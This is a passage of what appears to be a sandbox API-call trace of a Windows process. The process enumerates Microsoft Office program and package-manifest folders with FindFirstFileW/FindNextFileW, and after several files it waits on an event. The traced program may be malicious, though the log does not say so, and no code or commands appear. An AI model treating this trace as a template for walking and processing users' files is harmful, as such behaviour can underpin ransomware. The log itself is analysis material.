ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0282.676] GetProcessHeap () returned 0xaf0000 [0282.676] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0282.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0282.676] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.676] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0282.676] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0282.676] ResetEvent (hEvent=0x2a0) returned 1 [0282.677] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0282.735] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0282.735] ResetEvent (hEvent=0x2a0) returned 1 [0282.735] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.346] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0286.346] ResetEvent (hEvent=0x2a0) returned 1 [0286.347] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.349] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0 [0286.350] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0286.350] GetProcessHeap () returned 0xaf0000 [0286.350] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0286.502] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0286.502] GetProcessHeap () returned 0xaf0000 [0286.502] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0286.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.503] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.503] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0286.503] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0286.503] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0286.503] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0286.503] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0286.504] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0286.505] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0286.506] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0286.506] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0286.506] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0286.506] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0286.506] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0286.506] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0286.507] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0286.507] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0286.507] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0286.507] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0286.507] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, 